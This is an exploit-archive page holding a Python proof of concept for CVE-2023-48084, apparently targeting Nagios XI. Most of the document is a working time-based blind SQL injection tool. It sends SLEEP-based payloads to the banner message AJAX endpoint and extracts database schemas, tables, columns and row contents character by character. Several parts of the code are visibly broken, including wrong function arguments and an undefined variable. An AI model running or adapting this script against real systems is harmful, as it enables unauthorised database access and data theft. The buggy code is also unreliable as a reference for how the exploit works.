4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2023-48084.py PY
#!/usr/bin/python3
import requests, sys, time, signal, string, argparse, warnings
from pwn import *
from requests.packages.urllib3.exceptions import InsecureRequestWarning

warnings.simplefilter('ignore', InsecureRequestWarning)

# Códigos de colores ANSI
NEGRO = '\033[30m'
ROJO = '\033[31m'
VERDE = '\033[32m'
AMARILLO = '\033[33m'
AZUL = '\033[34m'
MAGENTA = '\033[35m'
CIAN = '\033[36m'
BLANCO = '\033[37m'

# Estilos
NEGRITA = '\033[1m'
SUBRAYADO = '\033[4m'

# Fondos
FONDO_NEGRO = '\033[40m'
FONDO_ROJO = '\033[41m'
FONDO_VERDE = '\033[42m'
FONDO_AMARILLO = '\033[43m'
FONDO_AZUL = '\033[44m'
FONDO_MAGENTA = '\033[45m'
FONDO_CIAN = '\033[46m'
FONDO_BLANCO = '\033[47m'

# Restablecer color a los valores predeterminados
RESET = '\033[0m'

path = "/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id="
caracteres = string.printable

def handler(sig, frame):
    print("\n\n[i] SALIENDO\n")
    sys.exit(1)

def getStringSize(url,session,column_name,from_where,addwhere,where,where2):
    flag=1
    i=0
    leng=0
    while flag:
        if addwhere == 1:
            payload = f"(SELECT CASE WHEN LENGTH((SELECT GROUP_CONCAT({column_name}) FROM {from_where} where table_schema = '{where}'))={i} THEN sleep(3) ELSE sleep(0) END)"
        elif addwhere == 2:
            payload = f"(SELECT CASE WHEN LENGTH((SELECT GROUP_CONCAT({column_name}) FROM {from_where} where table_schema = '{where}' and table_name = '{where2}'))={i} THEN sleep(3) ELSE sleep(0) END)"
        elif addwhere == 3:
            payload = f"(SELECT CASE WHEN LENGTH((SELECT GROUP_CONCAT({f',0x3a,'.join([f'{i}' for i in column_name])}) FROM {from_where}))={i} THEN sleep(3) ELSE sleep(0) END)"
        else:
            payload = f"(SELECT CASE WHEN LENGTH((SELECT GROUP_CONCAT({column_name}) FROM {from_where}))={i} THEN sleep(3) ELSE sleep(0) END)"
        urlM=url+path+payload
        tiempoi = time.time()
        r = session.get(urlM)
        tiempol = time.time()
        tiempot = tiempol - tiempoi
        if tiempot >= 3:
            leng=i
            print(f"{AZUL}[{RESET}{CIAN}+{RESET}{AZUL}]{RESET} {BLANCO}String length{RESET}{AZUL} : {RESET}{BLANCO}{i}, now lets dump it....{RESET}")
            flag=0
        i+=1
    return leng


def getSchemas(session, url, chrs):
    schemas=""
    leng=getStringSize(url,session,"schema_name","information_schema.schemata",0,"","")
    p2=log.progress("SQLI")
    p2.status("Starting attack ...")
    time.sleep(2)
    progreso = log.progress("SCHEMAS -> ")
    for i in range(1,leng+1):
        for j in chrs:
            payload=f"(SELECT CASE WHEN ASCII(SUBSTRING((select group_concat(schema_name) from information_schema.schemata), {i}, 1)) = {ord(j)} THEN SLEEP(2) ELSE NULL end)"
            urlM=url+path+payload
            tiempoi = time.time()
            r = session.get(urlM)
            tiempol = time.time()
            tiempot = tiempol - tiempoi
            if tiempot >= 2:
                schemas+=j
                progreso.status(schemas)
                break
    return schemas

def getTables(session, url, chrs, schema):
    tables=""
    leng=getStringSize(url,session,"table_name","information_schema.tables",1,schema,"")
    p2=log.progress("SQLI")
    p2.status("Starting attack ...")
    time.sleep(2)
    progreso = log.progress("TABLES -> ")
    for i in range(1,leng+1):
        for j in chrs:
            payload=f"(SELECT CASE WHEN ASCII(SUBSTRING((select group_concat(table_name) from information_schema.tables where table_schema = '{schema}'), {i}, 1)) = {ord(j)} THEN SLEEP(2) ELSE SLEEP(0) end)"
            urlM=url+path+payload
            p2.status(urlM)
            tiempoi = time.time()
            r = session.get(urlM)
            tiempol = time.time()
            tiempot = tiempol - tiempoi
            if tiempot >= 2:
                tables+=j
                progreso.status(tables)
                break
    return tables

def getColumns(session,url,chrs,schema,table):
    columns=""
    leng=getStringSize(url,session,"column_name","information_schema.columns",2,schema,table)
    p2=log.progress("SQLI")
    p2.status("Starting attack ...")
    time.sleep(2)
    progreso = log.progress("COLUMNS -> ")
    for i in range(1,leng+1):
        for j in chrs:
            payload=f"(SELECT CASE WHEN ASCII(SUBSTRING((select group_concat(column_name) from information_schema.columns where table_schema = '{schema}' and table_name = '{table}'), {i}, 1)) = {ord(j)} THEN SLEEP(3) ELSE NULL end)"
            urlM=url+path+payload
            p2.status(urlM)
            tiempoi = time.time()
            r = session.get(urlM)
            tiempol = time.time()
            tiempot = tiempol - tiempoi
            if tiempot >= 3:
                columns+=j
                progreso.status(columns)
                break
    return columns

def dumpInfoFromCols(session,url,chrs,schema,table,cols):
    data=""
    leng=getStringSize(cols,f"{schema}.{table}",3,"","")
    p2=log.progress("SQLI")
    p2.status("Starting attack ...")
    time.sleep(2)
    progreso = log.progress("DUMP -> ")
    for i in range(1,leng+1):
        for j in chrs:
            payload=f"(SELECT CASE WHEN ASCII(SUBSTRING((select group_concat({f',0x3a,'.join([f'{i}' for i in cols])}) from {schema}.{table}), {i}, 1)) = {ord(j)} THEN SLEEP(2) ELSE NULL end)"
            urlM=url+path+payload
            p2.status(urlM)
            tiempoi = time.time()
            r = requests.get(urlM)
            tiempol = time.time()
            tiempot = tiempol - tiempoi
            if tiempot >= 2:
                data+=j
                progreso.status(data)
                break
    return data
    

def schemasMenu(schema):
    print(f"\n{VERDE}[*]{RESET} {BLANCO}From the following schemas select the one you want to look:{RESET}")
    list_schemas = schema.split(",")
    temp_var=1
    for i in list_schemas:
        print(f"\n\t{AZUL}[{RESET}{CIAN}+{RESET}{AZUL}]{RESET}{BLANCO} {temp_var}{RESET} {AZUL}:{RESET} {BLANCO}{i}{RESET}")
        temp_var+=1
    temp_var=0
    selected_schema=int(input(f"\n{VERDE}[*]{RESET} {BLANCO}From the following schemas select the one you're interested on (pick the number)\n|> {RESET}"))
    schema_to_use=list_schemas[selected_schema-1]
    print(f"\n{AZUL}[i]{RESET} {BLANCO}Retrieving information from {schema_to_use}...{RESET}")
    return schema_to_use

def tablesMenu(tables):
    print(f"\n{VERDE}[*]{RESET} {BLANCO}From the following tables select the one you want to look:{RESET}")
    list_tables = tables.split(",")
    temp_var=1
    for i in list_tables:
        print(f"\n\t{AZUL}[{RESET}{CIAN}+{RESET}{AZUL}]{RESET}{BLANCO}  {temp_var} {RESET}{AZUL}:{RESET}{BLANCO} {i}{RESET}")
        temp_var+=1
    temp_var=0
    selected_table=int(input(f"\n{VERDE}[*]{RESET}{BLANCO} From the following tables select the one you're interested on (pick the number)\n|> {RESET}"))
    table_to_use=list_tables[selected_table-1]
    print(f"\n{AZUL}[i]{RESET}{BLANCO} Retrieving information from {table_to_use}...{RESET}")
    return table_to_use

def columnsMenu(columns):
    flag=1
    cols2look=[]
    print(f"\n{VERDE}[*]{RESET}{BLANCO} From the following columns select the one you want to look:{RESET}")
    list_columns = columns.split(",")
    temp_var=1
    for i in list_columns:
        print(f"\n\t{AZUL}[{RESET}{CIAN}+{RESET}{AZUL}]{RESET}{BLANCO} {temp_var}{RESET} {AZUL}:{RESET}{BLANCO} {i}{RESET}")
        temp_var+=1
    temp_var=0
    while flag:
        col=int(input(f"\n{VERDE}[*]{RESET}{BLANCO} From the following columns select the one you're interested on (pick the number)\n|> {RESET}"))
        cols2look.append(list_columns[col-1])
        cont = str(input(f"\n{AMARILLO}[?]{RESET}{BLANCO} Do you want to continue adding columns to dump? (YES/NO)\n{RESET}|> "))
        if cont.lower() == "no\n":
            flag=0
            break
    print(f"\n{AZUL}[i]{RESET}{BLANCO} Retrieving information from {cols2look}...{RESET}")
    return cols2look

def showDump(information):
    print(f"\n{VERDE}[*]{RESET}{BLANCO} All the information dumped: \n------------------------------------------------------------\n{RESET}")
    info_list = information.split(",")
    for i in info_list:
        print(f"{BLANCO}\n\t {i}{RESET}")
    print(f"\n\n------------------------------------------------------------\n\n{ROJO}[pwn]{RESET}{BLANCO} DONE!{RESET}\n")

def getARG():
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", dest="url", help="URL of the page to send the request (https://example.com/)")
    parser.add_argument("-a", "--apiKey", dest="api_key", help="ApiKey to get the cookie")
    parser.add_argument("-c", "--cookie", dest="cookie", help="Cookie to set")
    opcion = parser.parse_args()
    if not opcion.url:
        parser.error("[-] Specify the url for help use -h")
    if opcion.api_key and opcion.cookie:
        parser.error("[-] Do not specify the cookie and the api same time for help use -h")
    if not opcion.api_key and not opcion.cookie:
        parser.error("[-] Please provide a cookie or an api key -h")
    return opcion

signal.signal(signal.SIGINT, handler)

def testVulnerability(session, url, api_key, cookie):
    if api_key == "":
        payload = url + path + "(SELECT+CASE+WHEN+1=1+THEN+sleep(5)+ELSE+sleep(0)+END+)"

    else:
        payload = url + path + "(SELECT+CASE+WHEN+1=1+THEN+sleep(5)+ELSE+sleep(0)+END+)&token="+api_key
    tiempoi = time.time()
    r = session.get(payload,verify=False)
    tiempol = time.time()
    tt = tiempol - tiempoi
    if tt >= 5:
        return True
    return False

if __name__ == "__main__":
    opts = getARG()
    s = requests.Session()
    url=opts.url
    if opts.api_key:
        api_key = opts.api_key
        cookie=""
    elif opts.cookie:
        cookie = opts.cookie
        s.cookies.set('nagiosxi',cookie)
        api_key=""
    is_vuln = testVulnerability(s,url,api_key,cookie)
    if is_vuln:
        print("\n\n[i] The target may be vulnerable, starting with the attack\n")
    schemas = getSchemas(s,url,caracteres)
    schema_to_use = schemasMenu(schemas)
    tables = getTables(s,url,caracteres,'nagiosxi')
    table_to_use = tablesMenu(tables)
    columns = getColumns(url_W_GET_PARAM,caracteres,schema_to_use,table_to_use)
    cols2look = columnsMenu(columns)
    information = dumpInfoFromCols(url_W_GET_PARAM,caracteres,schema_to_use,table_to_use,cols2look)
    showDump(information)